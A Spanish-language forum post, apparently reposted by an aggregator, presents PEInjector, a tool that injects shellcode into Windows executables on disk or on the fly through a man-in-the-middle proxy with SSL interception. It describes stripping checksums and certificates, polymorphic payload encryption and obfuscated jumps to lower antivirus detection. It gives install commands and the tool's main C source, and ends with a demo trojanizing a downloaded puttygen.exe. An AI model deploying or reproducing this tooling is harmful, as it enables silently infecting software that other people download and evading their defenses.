Quantcast
Channel: Comunidad Underground Hispana
Viewing all articles
Browse latest Browse all 11602

[C] PEInjector: MITM PE File Injector

$
0
0
Código:

        ,x-"F  ]    Ax^" q    hp"  `u jM""u    a^ ^, j"  "*g_  p  ^mg_  N    "-x,             
          jLs*^6  `_  _&*"  q  _,NF  "wp"    "*g"  _NL_  p  "-d_  F  ]"*u_F                 
            ]  J_,x-E  3_  jN^" `u _w^*_  _R"""R_  _J^w_ j"  "pL_  f  7^-L_F  #__             
        w*^0  4  9__sAF" `L  _Dr"  m__m""q_,,_a^"m__*  "qA_  j" ""Au__f  J  0^               
            #_,J@^""p  `_ _jp-""q  _Dw^" ^cj*"  "*,j^  "p#_  y""^wE_ _F  F"^qN,_j               
            L  ]  k,w@#"""_  "_a*^E  ba-" ^qjqj-""^pe"  J^-u_f  _f "q@w,j  f  jL _             
        -,Jp*^#""9  L  5_a*N"""q__INr" "q_e^"^"*,p^""qME_ y"""p6u,f  j'  f "N^--LL             
        _ t  J  __,Jb--N""",  *_s0M`""q_a@NW_@@_JP^u_p"""p4a,p" _F""V--wL,_F_ F  #               
          r#^^0""E" 6  q  q__hg-@4""*,_Z*q_"^pwpwr""p*C__@""0N-qdL_p" p  J" 3""5^^0r-             
          F Jp 9__b__M,Juw*w*^#^9#""EED*dP_@EZEZ@^E@*#EjP"5M"gM@p*Ww&,jL_J__f  F j               
        rNrr4r*pr4r@grNr@q@Ng@q@N0@N#@NNMpmgg@@ggmqgNN@NN@#@4p*@M@p4qp@w@m@Mq@r#rq@r             
          j  L 6 9""Q"#^q@NDNNNMpg----                  ----gggNNW#W4p^p@jF"P"]"j  F             
        a0,3_j_j_9FN@N@0NMp--                                  --ggNZNrNM"P_f_f_E,0a             
        "0^#-LJ_9"NNNMp--                                          -gN#@#"R_#g@q^9"             
        _F`@q4WBN@Np-                                                  -gNN@ZL#p"Fj_             
        JLE5@WRNp                                                          g@NNNF3_L             
        4JF@NNp- ---------------------------------------------------------- -g0WNNL@             
        40NNh-    ____  _____ _____    _____ _____ _____ ____  _____ _____    -gN#B0             
        NN#p    |    \|    |  __|  |  |  |  __|  _  |    \|  __| __  |    j0NN             
        ##      |  |  |  |  |__  |  |    |  __|    |  |  |  __|    -|      d#             
        J#        |____/|_____|_____|  |__|__|_____|__|__|____/|_____|__|__|        #L           
      J#                                                                            #L           
      J# ---------------------------------------------------------------------------- #L         
    J#              _____ _____    _____ _____ _____ ____  _____ _____              #L         
    J#              |  _  |  __|  |  |  |  __|  _  |    \|  __| __  |              #L       
  J#                |  __|  __|  |    |  __|    |  |  |  __|    -|                #L       
  J#                |__|  |_____|  |__|_ _,.-----.,_ |____/|_____|__|__|                #L     
 J#                                    ,-~          ~-.                                  #L     
'# --------------------------------- ,^___          ___^. -------------------------------- #'   
t#  _____ _____ _____ _____ _____  /~"  ~"  .  "~  "~\  _____ _____ ____  _____ _____  #j   
t# |    |  _  |_  _|    |    | Y  ,--._    I    _.--.  Y    __|  _  |    \|  __| __  | #j   
t# |  |  |  __| | | |-  -|  |  | | Y    ~-. | ,-~    Y |    __|    |  |  |  __|    -| #j   
t# |_____|__|    |_| |_____|_____| | |        }:{        | | _____|__|__|____/|_____|__|__| #j   
.#                                j l      / | \      ! l                                #'   
 Y#---------------------------- .-~  (__,.--" .^. "--.,__)  ~-. -------------------------- #Y     
  Y#      _____ _____ _____ ___(          / / | \ \          ) _ _____ __    _____      #Y     
  Y#    |  __|  __|    |_  \.____,  ~  \/"\/  ~  .____,/  | __  |  |  |  __|    #Y       
    Y#  |__  |  __|  --| | | ^.____                ____.^    | __ -|  |__|  __|  #Y       
    Y#  |_____|_____|_____| |_| |_ | |T ~\  !  !  /~ T| | |__|__|_____|_____|_____|  #Y         
      Y#                            | |l  _ _ _ _ _  !| |                          #Y         
      Y#, ------------------------ | l \/V V V V V V\/ j | ----------------------- ,#Y           
        Y#            _____ _____ _ l  \ \|_|_|_|_|_|/ /  ! ___    ___              #Y           
        t#          |  __|  __|  \  \[T T T T T TI/  /  | |  |  |            #j           
        t#          |__  |  __|  -\  `^-^-^-^-^-^'  /  | | |  | | |            #j           
        t#          |_____|_____|____ \              / |_|___|  |___|            #j           
        t#                              \.          ,/                            #j           
        t# ------------------------------ "^-.___,-^" ----------------------------- #j           
        t#            _____ _____ _____ _____ _____ _____ _____    ___              #j           
        t#          |  __|  __|    |_  _|    |    |  | |  |_  |            #j           
        t#          |__  |  __|  --| | | |-  -|  |  | | | |  _| |_            #j           
        t#          |_____|_____|_____| |_| |_____|_____|_|___|  |_____|          #j           
        '#_                                                                        #'           
        ##_ --------------------------------------------------------------------- d#             
        NN#p        _____ _____ _____ _____ _____ _____ _____    _____        j0NN             
        40NNh_      |  __|  __|    |_  _|    |    |  | |  |  | |      _gN#B0             
        4JF@NNp_    |__  |  __|  --| | | |-  -|  |  | | | |  | | | |    _g0WNNL@             
        JLE5@WRNp_  |_____|_____|_____| |_| |_____|_____|_|___|  |_|___|  _g@NNNF3_L             
        _F`@q4WBN@Np_                                                  _gNN@ZL#p"Fj_             
        "0^#-LJ_9"NNNMp__ ----------------------------------------- _gN#@#"R_#g@q^9"             
        a0,3_j_j_9FN@N@0NMp__                                  __ggNZNrNM"P_f_f_E,0a             
          j  L 6 9""Q"#^q@NDNNNMpg____                  ____gggNNW#W4p^p@jF"P"]"j  F             
        rNrr4r*pr4r@grNr@q@Ng@q@N0@N#@NNMpmgg@@ggmqgNN@NN@#@4p*@M@p4qp@w@m@Mq@r#rq@r             
          F Jp 9__b__M,Juw*w*^#^9#""EED*dP_@EZEZ@^E@*#EjP"5M"gM@p*Ww&,jL_J__f  F j               
        -r#^^0""E" 6  q  q__hg-@4""*,_Z*q_"^pwpwr""p*C__@""0N-qdL_p" p  J" 3""5^^0r-             
          t  J  __,Jb--N""",  *_s0M`""q_a@NW_@@_JP^u_p"""p4a,p" _F""V--wL,_F_ F  #               
        _,Jp*^#""9  L  5_a*N"""q__INr" "q_e^"^"*,p^""qME_ y"""p6u,f  j'  f "N^--LL_             
            L  ]  k,w@#"""_  "_a*^E  ba-" ^qjqj-""^pe"  J^-u_f  _f "q@w,j  f  jL               
            #_,J@^""p  `_ _jp-""q  _Dw^" ^cj*"  "*,j^  "p#_  y""^wE_ _F  F"^qN,_j               
        w*^0  4  9__sAF" `L  _Dr"  m__m""q_,,_a^"m__*  "qA_  j" ""Au__f  J  0^--             
            ]  J_,x-E  3_  jN^" `u _w^*_  _R"""R_  _J^w_ j"  "pL_  f  7^-L_F  #               
          jLs*^6  `_  _&*"  q  _,NF  "wp"    "*g"  _NL_  p  "-d_  F  ]"*u_F                 
        ,x-"F  ]    Ax^" q    hp"  `u jM""u    a^ ^, j"  "*g_  p  ^mg_  N    "-x,

PEInjector
Infecta ejecutables de Windows


PEInjector, es una herramienta que puede infectar ejecutables de Windows (PE COFF) y que además incluye un proxy (interceptor) que también es capaz de modificar los ejecutables al "vuelo" pero mucho más completo y con mayor rendimiento: parcheo más transparente, infección ELF o MACH-O, PE code cave jumping, parcheo IAT y otros métodos de parcheo más "estáticos".

Características generales
  • Soporte de archivos PE x64 y x86.
  • Código abierto.
  • Totalmente funcional en Windows y Linux, incluyendo scripts de instalación automatizada.
  • Puede funcionar en hardware embebido, probado en una Raspberry Pi 2.
  • En Linux, todos los servidores se integrarán automáticamente como servicio, sin necesidad de configuración manual.
  • Escrito en C plano, no se requieren librerías externas (PEInjector).
  • La integración MiTM está disponible en C, Python y Java. Se incluye un ejemplo de implementación en Python.
  • Facilidad de uso. Cualquier persona que pueda configurar un router en casa podrá configurar el servidor de inyector.
  • Creador de shellcodes integrado y de fácil uso. Todos los shellcodes disponibles en 32 y 64bits con cifrado automático opcional.
  • Podemos personalizar nuestro propio código shell e inyectarlo directamente o como un nuevo thread.
Características de funcionamiento
  • Elimina las comprobaciones de integridad tales como los checksums de la cabecera del PE, certificados, force-check-checksum-flag, ...
  • Intenta inyectar el shellcode al final de la sección del ejecutable. Esto es posible debido al gap entre el valor SizeOfRawData y VirtualSize.
  • Intentar redimensionar el tamaño de la sección del ejecutable e inyectar ahí el shellcode. Esto es posible debido al gap entre el valor FileAlignment y SectionAlignment.
  • Inserta una nueva sección e inyecta ahí el shellcode.
  • Trata de descubrir si el ejecutable puede detectar la infección (por ejemplo, configuraciones NSIS) y salta el ejecutable.
  • Genera un nombre aleatorio para las secciones creadas por el flag del "nuevo nombre de la sección".
  • Cifra el payload con claves aleatorias. El stub de descifrado es generado y ofuscado individualmente sobre la marcha para cada inyección, utilizando el motor polimórfico integrado.
  • Inyecta el shellcode con uno de los métodos seleccionados e inserta un salto ofuscado al payload en otra sección. En principio el PE no apunta al shellcode porque puede aumentar la tasa de detección heurística de algún AV (por defecto: OFF).
Código:

                      ----- peinjector ----- ^^

                              + configuration                 
                              | payload                       
                              | ...                           
                  +-----------v------------+                 
  +-------+      |                        |                 
  | PATCH <-------+      libpeinfect      <--+               
  +-------+      |                        |  |               
                  +-----------+------------+  |               
                              |              |               
                  +-----------v------------+  |               
                  |                        |  |               
  +--------------->      libpetool        |  |               
  | change values |                        |  |               
  | add sections  +-----------^------------+  |               
  | resize sect.              |              |               
  + ...                  +----v----+          |               
                        | PEFILE  +----------+               
                        +----^----+                         
                              |                               
                  +-----------v------------+                 
  PE File data    |                        |    PE File data 
  +--------------->      libpefile        +---------------> 
                  |                        |                 
                +------------------------+

libpefile: Proporciona el análisis de archivos PE, modificación y capacidades de volver a montarlo basándose en la especificación PE COFF. También funciona con muchos archivos no conformes y deliberadamente mal formados que el loader de Windows acepta.

libpetool: Proporciona modificaciones más complejas (añadir/cambiar el tamaño de las secciones). Mantiene compatibles los valores de la cabecera PE COFF.

libpeinfect: Proporciona diferentes métodos de infección, elimina comprobaciones de integridad, certificados, etc. Puede infectar totalmente un archivo (de forma estática, por ejemplo, desde el disco) o generar un parche (para la infección por MITM). Los conectores que trabajan con estos parches están disponibles en C, Python y Java. El archivo infectado mantiene su funcionalidad original.

Arquitectura

PEInjector incluye de tres componentes: servidor, interfaz web (webgui) y proxy. Los puertos por defecto que se utilizan son:

3333: python webserver (GUI)
31337: puerto de datos de PEInjector (communication proxy <-> PEInjector)
31338: puerto de control de PEInjector (communication GUI <-> PEInjector)
8080: proxy

Código:

                          ----- servers ----- ^^

                                  +-----------------+-+
                                  |  web browser  |X|
        +-------------+          +-----------------+-+
        | peinjector- |          |      _____      |
------->+ interceptor +---------> |      /    \      |
-orig.->+  (MITM)    +-patched-> |    | () () |    |
-data-->+            +-data----> |      \  ^  /      |
------->+ +---------+ +---------> |      |||||      |
        | |connector| |          |                  |
        +-+-+-----^-+-+          +-----+------^------+
    raw    |    |              send  |      | get 
    header |    | patch        config |      | status
            |    |                    |      |     
        +-+-v-----+-+-+          +-+---v------+---+-+
        | |data port| |          | |http(s) server| |
        | +---------+ |          | +--------------+ |
        | peinjector  |          |                  |
        | (core  +---+ crtl      +---+ peinjector-  |
        | engine) |c p| protocol  |c p| control      |
        |        |r o+----------->r r| (user        |
        |        |t r<-----------+t o| interface)  |
        |        |l t|          |l .|              |
        +---------+---+          +---+--------------+

Instalación:

Descargamos el programa

Instalamos peinjector-server que provee parcheo de ejecutables como servicio:

Cita:

peinjector-server: Proporciona parcheo de ejecutables PE como un servicio. Sólo tienes que enviar la cabecera abierta de su archivo PE y recibirá un parche hecho a medida para él. Puede ser controlado remotamente a través de un protocolo de comandos.
Código:

cd /pruebas/peinjector/peinjector/install/
sudo chmod a+x peinjector_install.sh
sudo ./peinjector_install.sh

root@kali:~/pruebas/peinjector/peinjector/install# service peinjector status
â peinjector.service - LSB: peinjector server
  Loaded: loaded (/etc/init.d/peinjector)
  Active: active (running) since Mon 2015-09-14 04:38:18 EDT; 40s ago
  Process: 1970 ExecStart=/etc/init.d/peinjector start (code=exited, status=0/SUCCESS)
  CGroup: /system.slice/peinjector.service
          ââ1974 /usr/bin/peinjector --server

Instalamos peinjector-control que administra el servidor de peinjector vía webgui:

Cita:

peinjector-control: Interfaz web para configurar y controlar un servidor peinjector. Un pequeño shellcode fabricado con algunos shellcodes básicos, automaticamente la encriptación/ofuscación y generación de hilos es proporcionado - alternativamente, El ShellCode personalizado puede ser inyectado.
Código:

cd /tmp/peinjector/pe-injector-control/install/
sudo chmod a+x peinjector-control_install.sh
sudo ./peinjector-control_install.sh

root@kali:~/pruebas/peinjector/pe-injector-control/install# service peinjector-control status
â peinjector-control.service - LSB: peinjector-control server
  Loaded: loaded (/etc/init.d/peinjector-control)
  Active: active (running) since Mon 2015-09-14 04:40:36 EDT; 58s ago
  CGroup: /system.slice/peinjector-control.service
          ââ2109 python3 ./peinjector_control.py

Sep 14 04:40:36 kali peinjector-control[2105]: Start peinjector-control server

Instalamos peinjector-interceptor que es el proxy MiTM con el conector de peinjector:

peinjector-interceptor: Ejemplo de Integración MITM. Basado en Python y libmproxy, apoya la interceptación SSL, puede actuar como proxy transparente, proxy HTTP, .... Proporciona capacidades de parcheo PE sin uniones.

Código:

cd /tmp/peinjector/pe-injector-interceptor/install/
sudo chmod a+x peinjector-interceptor_install.sh
sudo ./peinjector-interceptor_install.sh

root@kali:~/pruebas/peinjector/pe-injector-interceptor/install# service peinjector-interceptor status
â peinjector-interceptor.service - LSB: peinjector-interceptor server
  Loaded: loaded (/etc/init.d/peinjector-interceptor)
  Active: active (running) since Mon 2015-09-14 04:43:38 EDT; 24s ago
  Process: 6252 ExecStart=/etc/init.d/peinjector-interceptor start (code=exited, status=0/SUCCESS)
  CGroup: /system.slice/peinjector-interceptor.service
          ââ6256 python2 ./peinjector_interceptor.py

Sep 14 04:43:38 kali peinjector-interceptor[6252]: Start peinjector-interceptor server

Hardening

Cambia el certificado del interfaz web por uno propio:

Código:

sudo openssl req -new -x509 -keyout /etc/peinjector-control/cert_example_do_not_use_this.pem -out /etc/peinjector-control/cert_example_do_not_use_this.pem -days 365 -nodes
sudo service peinjector-control stop
sudo service peinjector-control start

Configura una contraseña en el GUI:
  • Ve a https://{your_ip}:3333/settings.htm
  • Pon una contraseña para el usuario 'admin'
  • Activa la autenticación (enable authentication)
  • USER: admin; PASS: {your_pass}

Asocia los puertos de peinjector a localhost para que sólo el webgui y el proxy puedan conectarse al servidor de peinjector (recomendable):
  • Ve a https://{your_ip}:3333/injector.htm
  • Haz clic en el botón local (interfaz de control)
  • Haz clic en el botón local (interfaz de datos)
  • Haz clic en el botón de reinicio para reiniciar el peinjector

Codigo Fuente

Código:

/**
 * \file  peinjector.c
 * \author A.A.
 * \brief  PE infection test tool
 */

#include "libpetool.h"
#include "libpeinfect.h"
#include "libpeserver.h"
#include "3rdparty/ini/minIni.h"
#include <stdio.h>
#include <stdlib.h>

#ifdef _WIN32 /* Windows/Linux Switch */
#include "windows.h"
#endif

/* Config Names */
#define CONFIG_FILE      "config.ini"
#define PAYLOAD_FILE_X86 "payload_x86.bin"
#define PAYLOAD_FILE_X64 "payload_x64.bin"

/**
 * Reads binary file
 *
 * \param file    File to read
 * \param memsize Store size of file
 *
 * \return file memory if success, NULL otherwise
 * */
static inline unsigned char* __read_file(char *file, size_t *memsize) {
  unsigned char *file_mem;
  /* Open file */
  FILE *fh = fopen(file, "rb");

  if (fh != NULL) {
    /* Get file size and allocate buffer */
    fseek(fh, 0L, SEEK_END);
    size_t size = ftell(fh);
    size_t size_read = 0;
    rewind(fh);
    file_mem = malloc(size);

    if (file_mem != NULL) {
      /* Load file into buffer */
      size_read = fread(file_mem, size, 1, fh);
      fclose(fh);
      fh = NULL;

      if (size_read != 1) {
        free(file_mem);
        file_mem = NULL;
      }
     
      /* Return buffer */
      *memsize = size;
      return file_mem;
    }
    /* Close file (if memory allocation has failed) */
    if (fh != NULL) {
      fclose(fh);
    }
  }

  return NULL;
}

/**
 * Configures PEINFCT
 *
 * \param infect PEINFECT to configure
 *
 * */
static inline void __load_config(PEINFECT *infect) {
  unsigned char *test_code_x86;
  size_t test_codesize_x86 = 0;
  unsigned char *test_code_x64;
  size_t test_codesize_x64 = 0;
  PEINFECT_METHOD methods = 0;
  bool random_section_name = false;
  size_t section_namesize = 0;
  char section_name[NT_SHORT_NAME_LEN] = { 0 };

  /* Load integrity options */
  peinfect_set_removeintegrity(ini_getl("integrity", "remove_integrity_checks", true, CONFIG_FILE), infect);
  peinfect_set_trystaystealth(ini_getl("integrity", "try_stay_stealth", true, CONFIG_FILE), infect);

  /* Load statistics options */
  peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x86", 0, CONFIG_FILE), false, infect);
  peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x64", 0, CONFIG_FILE), true, infect);

  /* Load methods */
  methods |= ini_getl("methods", "method_alignment", true, CONFIG_FILE) ? METHOD_ALIGNMENT : 0;
  methods |= ini_getl("methods", "method_alignment_resize", true, CONFIG_FILE) ? METHOD_ALIGNMENT_RESIZE : 0;
  methods |= ini_getl("methods", "method_new_section", true, CONFIG_FILE) ? METHOD_NEW_SECTION : 0;
  methods |= ini_getl("methods", "method_change_flags", true, CONFIG_FILE) ? METHOD_CHANGE_FLAGS : 0;
  methods |= ini_getl("methods", "method_cross_section_jump", false, CONFIG_FILE) ? METHOD_CROSS_SECTION_JUMP : 0;
  peinfect_set_methods(methods, infect);

  /* Cross section jump iterations */
  peinfect_set_jumpiterations(ini_getl("methods", "method_cross_section_jump_iterations", 1, CONFIG_FILE), infect);

  /* Encryption */
  peinfect_set_encrypt(ini_getl("methods", "encrypt", true, CONFIG_FILE), infect);
  peinfect_set_encryptiterations(ini_getl("methods", "encrypt_iterations", 1, CONFIG_FILE), infect);

  /* New Section Name */
  peinfect_set_sectionname(NULL, 0, (random_section_name = ini_getl("name", "section_name_random", true, CONFIG_FILE)),
      infect);
  if (!random_section_name) {
    section_namesize = ini_gets("name", "section_name", "", section_name, NT_SHORT_NAME_LEN, CONFIG_FILE);
    peinfect_set_sectionname(section_name, section_namesize, false, infect);
  }

  /* Statistics */
  peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x86", 0, CONFIG_FILE), false, infect);
  peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x64", 0, CONFIG_FILE), true, infect);

  /* Load shellcode */
  test_code_x86 = __read_file(PAYLOAD_FILE_X86, &test_codesize_x86);
  test_code_x64 = __read_file(PAYLOAD_FILE_X64, &test_codesize_x64);

  /* Set shellcode */
  peinfect_set_shellcode(test_code_x86, test_codesize_x86, false, infect);
  peinfect_set_shellcode(test_code_x64, test_codesize_x64, true, infect);

  /* Free temp. Buffer */
  if (test_code_x86 != NULL) {
    free(test_code_x86);
  }
  if (test_code_x64 != NULL) {
    free(test_code_x64);
  }
}

/**
 * Prints PEFILE info
 *
 * \param in PEFILE to print
 *
 * */
static inline void __print_info(PEFILE *in) {
  int i = 0;

  printf("# PE Header #\n");
  printf("Signature:                  %08x\n", in->pe_header.Signature);
  printf("Machine:                    %04x\n", in->pe_header.Machine);
  printf("NumberofSections:            %04x\n", in->pe_header.NumberOfSections);
  printf("TimeDateStamp:              %08x\n", in->pe_header.TimeDateStamp);
  printf("PointerToSymbolTable:        %08x\n", in->pe_header.PointerToSymbolTable);
  printf("NumberOfSymbols:            %08x\n", in->pe_header.NumberOfSymbols);
  printf("SizeOfOptionalHeader:        %04x\n", in->pe_header.SizeOfOptionalHeader);
  printf("Characteristics:            %04x\n", in->pe_header.Characteristics);
  printf("\n");

  if (in->pe_header.SizeOfOptionalHeader) {
    if (in->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
      printf("# Optional Header (32 Bit) #\n");
      printf("Magic:                      %04x\n", in->optional_header_32.Magic);
      printf("MajorLinkerVersion:          %02x\n", in->optional_header_32.MajorLinkerVersion);
      printf("MinorLinkerVersion:          %02x\n", in->optional_header_32.MinorLinkerVersion);
      printf("SizeOfCode:                  %08x\n", in->optional_header_32.SizeOfCode);
      printf("SizeOfInitializedData:      %08x\n", in->optional_header_32.SizeOfInitializedData);
      printf("SizeOfUninitializedData:    %08x\n", in->optional_header_32.SizeOfUninitializedData);
      printf("AddressOfEntryPoint:        %08x\n", in->optional_header_32.AddressOfEntryPoint);
      printf("BaseOfCode:                  %08x\n", in->optional_header_32.BaseOfCode);
      printf("BaseOfData:                  %08x\n", in->optional_header_32.BaseOfData);
      printf("ImageBase:                  %08x\n", in->optional_header_32.ImageBase);
      printf("SectionAlignment:            %08x\n", in->optional_header_32.SectionAlignment);
      printf("FileAlignment:              %08x\n", in->optional_header_32.FileAlignment);
      printf("MajorOperatingSystemVersion: %04x\n", in->optional_header_32.MajorOperatingSystemVersion);
      printf("MinorOperatingSystemVersion: %04x\n", in->optional_header_32.MinorOperatingSystemVersion);
      printf("MajorImageVersion:          %04x\n", in->optional_header_32.MajorImageVersion);
      printf("MinorImageVersion:          %04x\n", in->optional_header_32.MinorImageVersion);
      printf("MajorSubsystemVersion:      %04x\n", in->optional_header_32.MajorSubsystemVersion);
      printf("MinorSubsystemVersion:      %04x\n", in->optional_header_32.MinorSubsystemVersion);
      printf("Win32VersionValue:          %08x\n", in->optional_header_32.Win32VersionValue);
      printf("SizeOfImage:                %08x\n", in->optional_header_32.SizeOfImage);
      printf("SizeOfHeaders:              %08x\n", in->optional_header_32.SizeOfHeaders);
      printf("CheckSum:                    %08x\n", in->optional_header_32.CheckSum);
      printf("Subsystem:                  %04x\n", in->optional_header_32.Subsystem);
      printf("DllCharacteristics:          %04x\n", in->optional_header_32.DllCharacteristics);
      printf("SizeOfStackReserve:          %08x\n", in->optional_header_32.SizeOfStackReserve);
      printf("SizeOfStackCommit:          %08x\n", in->optional_header_32.SizeOfStackCommit);
      printf("SizeOfHeapReserve:          %08x\n", in->optional_header_32.SizeOfHeapReserve);
      printf("SizeOfHeapCommit:            %08x\n", in->optional_header_32.SizeOfHeapCommit);
      printf("LoaderFlags:                %08x\n", in->optional_header_32.LoaderFlags);
      printf("NumberOfRvaAndSizes:        %08x\n", in->optional_header_32.NumberOfRvaAndSizes);

    } else if (in->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) {
      printf("# Optional Header (64 Bit) #\n");

      printf("Magic:                      %04x\n", in->optional_header_64.Magic);
      printf("MajorLinkerVersion:          %02x\n", in->optional_header_64.MajorLinkerVersion);
      printf("MinorLinkerVersion:          %02x\n", in->optional_header_64.MinorLinkerVersion);
      printf("SizeOfCode:                  %08x\n", in->optional_header_64.SizeOfCode);
      printf("SizeOfInitializedData:      %08x\n", in->optional_header_64.SizeOfInitializedData);
      printf("SizeOfUninitializedData:    %08x\n", in->optional_header_64.SizeOfUninitializedData);
      printf("AddressOfEntryPoint:        %08x\n", in->optional_header_64.AddressOfEntryPoint);
      printf("BaseOfCode:                  %08x\n", in->optional_header_64.BaseOfCode);
      printf("ImageBase:                  %016x\n", (uint32_t) in->optional_header_64.ImageBase);
      printf("SectionAlignment:            %08x\n", in->optional_header_64.SectionAlignment);
      printf("FileAlignment:              %08x\n", in->optional_header_64.FileAlignment);
      printf("MajorOperatingSystemVersion: %04x\n", in->optional_header_64.MajorOperatingSystemVersion);
      printf("MinorOperatingSystemVersion: %04x\n", in->optional_header_64.MinorOperatingSystemVersion);
      printf("MajorImageVersion:          %04x\n", in->optional_header_64.MajorImageVersion);
      printf("MinorImageVersion:          %04x\n", in->optional_header_64.MinorImageVersion);
      printf("MajorSubsystemVersion:      %04x\n", in->optional_header_64.MajorSubsystemVersion);
      printf("MinorSubsystemVersion:      %04x\n", in->optional_header_64.MinorSubsystemVersion);
      printf("Win32VersionValue:          %08x\n", in->optional_header_64.Win32VersionValue);
      printf("SizeOfImage:                %08x\n", in->optional_header_64.SizeOfImage);
      printf("SizeOfHeaders:              %08x\n", in->optional_header_64.SizeOfHeaders);
      printf("CheckSum:                    %08x\n", in->optional_header_64.CheckSum);
      printf("Subsystem:                  %04x\n", in->optional_header_64.Subsystem);
      printf("DllCharacteristics:          %04x\n", in->optional_header_64.DllCharacteristics);
      printf("SizeOfStackReserve:          %016x\n", (uint32_t) in->optional_header_64.SizeOfStackReserve);
      printf("SizeOfStackCommit:          %016x\n", (uint32_t) in->optional_header_64.SizeOfStackCommit);
      printf("SizeOfHeapReserve:          %016x\n", (uint32_t) in->optional_header_64.SizeOfHeapReserve);
      printf("SizeOfHeapCommit:            %016x\n", (uint32_t) in->optional_header_64.SizeOfHeapCommit);
      printf("LoaderFlags:                %08x\n", in->optional_header_64.LoaderFlags);
      printf("NumberOfRvaAndSizes:        %08x\n", in->optional_header_64.NumberOfRvaAndSizes);
    }
    printf("\n");
  }

  if (in->pe_header.NumberOfSections) {
    printf("# Sections #\n");
    printf("Name    VirtualSize VirtualAddr. SizeofRawData PointerToRawData Characteristics\n");
    for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
      printf("%-8.*s %08x    %08x    %08x      %08x        %08x\n", 8, in->section_header[i].Name,
          in->section_header[i].Misc.VirtualSize, in->section_header[i].VirtualAddress,
          in->section_header[i].SizeOfRawData, in->section_header[i].PointerToRawData,
          in->section_header[i].Characteristics);
    }
    printf("\n");
  }

}

/**
 * Prints usage information
 */
static void __print_usage() {
  printf(
      " <<< Usage >>> \n\
  peinjector --info file\n\
  peinjector --infect file\n\
  peinjector --patch file (Debug Output)\n\
  peinjector --server\n\
  peinjector --accidentally-forget-entry-point file\n");
}

/**
 * Main Routine
 *
 * \param pcount Number of parameter given
 * \param params Parameters given
 *
 * \returns 0
 */
int main(int pcount, char **params) {
  bool restart_server = true;

  /* Server */
  PESERVER server;
  /* Server config */
  PECONFIG config;
  peserver_init_config(CONFIG_FILE, PAYLOAD_FILE_X86, PAYLOAD_FILE_X64, &config);

  /* PE File */
  PEFILE mype;
  pefile_init(&mype);

  PEFILE_READ_OPTIONS read_options;
  read_options.header_only = true;

  /* PE Inject */
  PEINFECT infect;
  peinfect_init(&infect);

  /* Check Params */
  if (pcount == 3) {

    /* Statically infect file */
    if (strcmp("--infect", params[1]) == 0) {
      printf(" <<< Infect >>> \n");

      __load_config(&infect);
      if (peinfect_infect_full_file(params[2], &infect, params[2])) {
        printf("Success\n");
      } else {
        printf("Error\n");
      }

      /* Show patch parts (debug) */
    } else if (strcmp("--patch", params[1]) == 0) {
      printf(" <<< Try patch >>> \n");

      __load_config(&infect);
      if (peinfect_infect_patch_file(params[2], &infect)) {
        printf("Success\n");
      } else {
        printf("Error\n");
      }

      /* Show Info */
    } else if (strcmp("--info", params[1]) == 0) {
      printf(" <<< Info >>> \n");

      if (pefile_read_file(params[2], &read_options, &mype)) {
        __print_info(&mype);
      } else {
        printf("Error\n");
      }

    } else if (strcmp("--accidentally-forget-entry-point", params[1]) == 0) {
      printf(" <<< Oooops ... >>> \n");
      printf("When I'm drunk I always fuck up PE files entry points ...\n");

      if (pefile_read_file(params[2], NULL, &mype)) {
        mype.optional_header_32.AddressOfEntryPoint = 0;
        mype.optional_header_64.AddressOfEntryPoint = 0;
        if (pefile_write_file(&mype, NULL, params[2])) {
          printf("Success\n");
        } else {
          printf("Error writing file\n");
        }

      } else {
        printf("Error parsing file\n");
      }
      /* Invalid parameter combination */
    } else {
      __print_usage();
    }

  } else if ((pcount == 2) && (strcmp("--server", params[1]) == 0)) {

    /* Restart loop */
    restart_server = true;
    while (restart_server) {
      /* Init Server */
      __load_config(&infect);
      if (peserver_init(&infect, &config, &server)) {
        /* Wait for termination signal */
        restart_server = peserver_wait(&server);

        /* Frees the server */
        peserver_free(&server);

      } else {
        /* Couldn't (re)start server, exit */
        restart_server = false;
      }
    }

    /*Frees config*/
    peserver_free_config(&config);

    /* Invalid parameter combination */
  } else {
    __print_usage();
  }

  /* Free PEFILE & PEINFECT */
  pefile_free(&mype);
  peinfect_free(&infect);

  return 0;
}

Uso (demo):

1. Visitamos https://{your_ip}:3333


2. Navegamos a "shellcode" y nos desplazamos abajo a demo (calc).

3. Hacemos clic en "create and send shellcode".


4. Configuramos el navegador para usar el proxy {your_ip}:8080

5. Descargamos cualquier ejecutable, en nuestro ejemplo puttygen.exe.

6. Ejecutamos el fichero exe y comprobamos como el payload ejecuta en segundo plano también la calculadora.





uploaded.net - [code] PEInjector: MITM PE File Injector

Viewing all articles
Browse latest Browse all 11602

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>